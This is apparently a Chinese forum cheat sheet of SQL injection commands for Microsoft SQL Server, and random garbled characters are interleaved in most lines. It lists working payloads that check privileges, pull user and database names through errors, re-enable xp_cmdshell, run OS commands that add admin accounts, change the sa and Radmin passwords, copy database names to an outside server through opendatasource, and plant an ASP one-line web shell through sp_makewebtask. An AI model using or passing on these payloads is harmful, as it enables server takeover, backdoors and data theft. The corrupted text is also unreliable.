阿D常用的一些注入命令
/ K+ H7 L# p" Y! }) m8 y4 w//看看是什么权限的
6 J+ r2 |; H1 Z# D: j Q2 Land 1=(Select IS_MEMBER('db_owner'))8 h# y9 q0 i) z& p3 @* j
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--( }+ G- W$ R% [ V0 j
+ k6 p+ E ~: o" I8 B/ d% x/ k) i- L//检测是否有读取某数据库的权限0 r5 l3 A( [ R: o- A
and 1= (Select HAS_DBACCESS('master'))9 K& I# a5 e% v8 b
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
9 E9 P) T9 e; w8 T+ h
% l- y9 E* a4 O8 y8 y$ O3 B1 A0 D* |2 z
数字类型
( ~7 G$ C1 s0 @4 K. f M4 vand char(124)%2Buser%2Bchar(124)=09 N) q$ ^3 [- {' I- b
& I6 c) \7 t" l4 E字符类型
3 i; K+ P) R( ^6 J! ^% V8 @/ v' and char(124)%2Buser%2Bchar(124)=0 and ''='/ y5 M0 U, X7 e5 x3 K7 c
) O3 ], J, s6 I+ E" q/ @
搜索类型
$ U; D: f7 t* i5 W1 I! b+ F J+ o' and char(124)%2Buser%2Bchar(124)=0 and '%'='! V _4 e- P j9 t
" B( K+ B3 o* f. N2 n
爆用户名
i; p% }6 H. Z" C7 G# T- a/ nand user>0
% b# H% s2 C; h7 q' and user>0 and ''=' T! N5 ]- e, m! v9 q# @0 h- L1 N
5 n9 T9 w! b4 S2 ]2 b检测是否为SA权限0 \& [ c4 U- Q. K
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
0 v' z8 g& P/ x. }& |) K" xAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
# G* z8 @ x0 H5 ~5 w h. l: R+ `2 i" G2 W% D5 E3 Z
检测是不是MSSQL数据库6 x. C' J/ e7 a2 K
and exists (select * from sysobjects);--
2 J: W( k* [0 a3 ^: K
+ a W) v; n! g8 r( g: B检测是否支持多行
6 j. N0 z5 T/ g1 r& k) \;declare @d int;-- . K( A% Y+ z) H: j% c% p
$ o" J, N. T/ u; E: z/ f
恢复 xp_cmdshell6 O0 N) f% i/ l9 ^) N8 e
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
7 b3 W+ M& n! @9 `0 \
2 ^" `3 [0 |3 a9 R
\. D W; S) jselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
3 V8 O* _+ V3 Q, o [6 j$ D& B! ~
5 ^0 f8 R% f( i. M {9 u/ _//-----------------------
b9 v5 w1 i$ d4 y2 m# r// 执行命令
3 m7 P: n. F$ w6 o: K; j5 P//-----------------------
: P- t$ `% O0 w# o首先开启沙盘模式:$ G4 S% y- ^. E* {0 w- R6 e
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
) l2 p' O* z! ~, {. w( ]
9 b* j1 j; n; B9 ?* v3 j然后利用jet.oledb执行系统命令
/ ~ @8 D+ O4 aselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
2 O8 @/ c3 Z" [4 ^- F$ i4 X' C/ L( s) w
执行命令" a% u7 E1 u1 j6 h" E
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--6 R/ F7 a5 Q$ N m5 o
% ^: x8 k$ n9 R! e0 m; oEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
; r# _) j' K" ~
4 E8 Q" @& N& x6 ` \判断xp_cmdshell扩展存储过程是否存在:/ ?" b8 e5 f5 P6 T
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')* A! K& e5 K' i% B
% h; N T @1 e6 l2 m, j8 N1 m
写注册表2 ^" T# e4 N6 Y6 [8 {1 t
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',10 O8 H2 m, u+ s! w6 a* c
5 k. S; ^8 I: g, Q8 A) }REG_SZ
+ K8 n3 N$ ?+ ~
/ y( e: Q* I& \8 B% U读注册表
$ d, e) z+ Q4 C1 r) K( u2 b1 fexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'3 d1 z4 \ ~" D! l6 c
0 `$ Y. j: ~* f2 N* g( h读取目录内容
. H7 p3 V5 U- w6 f2 nexec master..xp_dirtree 'c:\winnt\system32\',1,1
* }+ y9 G7 D1 a5 z
# U3 _3 K) y/ k. Y; T" `* z u9 p* Y9 n9 q; ^# T
数据库备份, J1 ]& y5 l- U1 y4 h
backup database pubs to disk = 'c:\123.bak'
* F/ V) P0 J" f- B- Q& b8 S8 \
//爆出长度* q, V# B; Z' U) R
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--+ \' |" w: V7 J: O' p5 c7 u
' I P5 R1 H9 V. k# x+ _7 z' D" `1 Q I8 b3 y
% ?( n1 U. V4 b
更改sa口令方法:用sql综合利用工具连接后,执行命令:
" ]5 a0 a7 s8 u4 `) R# \& Jexec sp_password NULL,'新密码','sa'
& L% v% D- }: Z% h5 u9 Z. ~& f
; a, t( n+ b( S6 ^1 U添加和删除一个SA权限的用户test:
) s3 { d3 G6 K1 M2 e+ O- Qexec master.dbo.sp_addlogin test,ptlove' t/ ]/ Y0 r; e! X: b
exec master.dbo.sp_addsrvrolemember test,sysadmin
4 A* b9 h; X8 u5 _$ K5 e% ?. N! j0 z- u, k# J# ~$ z) p
删除扩展存储过过程xp_cmdshell的语句:
9 c9 l3 [+ ^- t; e6 ~7 _$ x+ bexec sp_dropextendedproc 'xp_cmdshell'- e8 u; i! N" ]5 F1 k- Y" x
' Z) S5 {% f! R y# f* G
添加扩展存储过过程
6 }% o7 q9 c2 E u9 ]. i5 j% Y5 SEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 9 C0 U$ |4 H% e8 ?9 _! U- \( u3 m* I2 j
GRANT exec On xp_proxiedadata TO public
! p: l u5 k$ ]
( ?1 v* h0 ^7 r C- a
: N) P- k( p8 Y+ R/ ~- `4 l停掉或激活某个服务。
/ h1 m* f+ ]/ E$ z& _0 p$ ]( l
* d& l: S" [% A7 bexec master..xp_servicecontrol 'stop','schedule'& l1 c( z m1 ^& f6 q1 j
exec master..xp_servicecontrol 'start','schedule': F2 z7 ?1 J' I& V( G" L' N
6 F" s2 l" S) m9 cdbo.xp_subdirs8 }0 R+ I1 j O& m& d) f( K3 {
9 I2 a/ R5 p' B
只列某个目录下的子目录。 p d$ p4 a! W; E% N
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'9 M; Q$ R1 V2 h/ v& |4 L) [) G
. K Y. H" G4 ldbo.xp_makecab
; ~: A+ g! i9 l) v
( L7 F: c- O U9 M* \, G/ \& Z8 n将目标多个档案压缩到某个目标档案之内。, k; Z$ f% T% w: Y
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
' X% ~" R# [+ S+ x% M8 O4 ~. r. z
dbo.xp_makecab9 f0 [& u+ c! a2 p) W
'c:\test.cab','mszip',1,4 j1 Q% P' T0 e- ]: ~. _% F" f
'C:\Inetpub\wwwroot\SQLInject\login.asp',
+ z! _* r0 X0 v5 Q5 ?'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'" z+ s; X# | @9 g% |
. L, }" x q. K2 R
xp_terminate_process# w+ Y: `: }4 p
! J# t4 |6 X" d: n停掉某个执行中的程序,但赋予的参数是 Process ID。
0 w9 d8 G/ F6 y' T0 ?利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
$ ]8 |8 z5 V- w6 A' q% S$ L9 |7 u4 Z
xp_terminate_process 2484! C0 O$ j6 n% W; @4 u! Q, S/ R
& R# W) F+ V+ a7 p! w8 C# T* w: J( Nxp_unpackcab
! h# m8 C/ ~, t* k# v: Q( Q N
/ T) i* u1 P& }; y/ r解开压缩档。0 {9 |/ j n% ^& v
$ Q* \6 E0 g8 i( w* uxp_unpackcab 'c:\test.cab','c:\temp',1
: E' O) f6 f- B4 e& S; P/ _5 M# V
, g* Q9 b; g! a
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234( v& j7 T8 f, L
2 h5 G8 X, H/ q) m1 W+ T; u# N
create database lcx;
, D R' D; M! h7 S, M. ZCreate TABLE ku(name nvarchar(256) null);
4 j: f+ s% A8 @5 q: ]Create TABLE biao(id int NULL,name nvarchar(256) null);
4 j( `9 E9 v3 a! X8 m' a6 `! D
. i: t% R1 t( s& t9 b& s//得到数据库名' v# o* f1 L+ ]* m8 ^% r& S
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases/ T$ @, ^! [9 L5 d- H6 d7 U# U
! @8 `. E& a" M
( }. `0 E( f/ i//在Master中创建表,看看权限怎样
q1 n$ ~: G- nCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--& k2 v- W0 J6 j- u, B. Z
' Z# d) {, D0 _6 a( E1 w" k用 sp_makewebtask直接在web目录里写入一句话马:
0 k! u6 J' x- b# s$ r( R& l% ^http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
* U) M, }8 Z7 T1 v- Y7 I9 M9 f
/ a* Q" ?9 h; ~* C, h//更新表内容8 P' |7 n$ P0 s1 Y& K
Update films SET kind = 'Dramatic' Where id = 123
2 T# h- ~9 O4 G5 z( P
8 m% d7 K% J, J3 O; [//删除内容
& C! ]8 c7 D3 O* \' k; udelete from table_name where Stockid = 3 |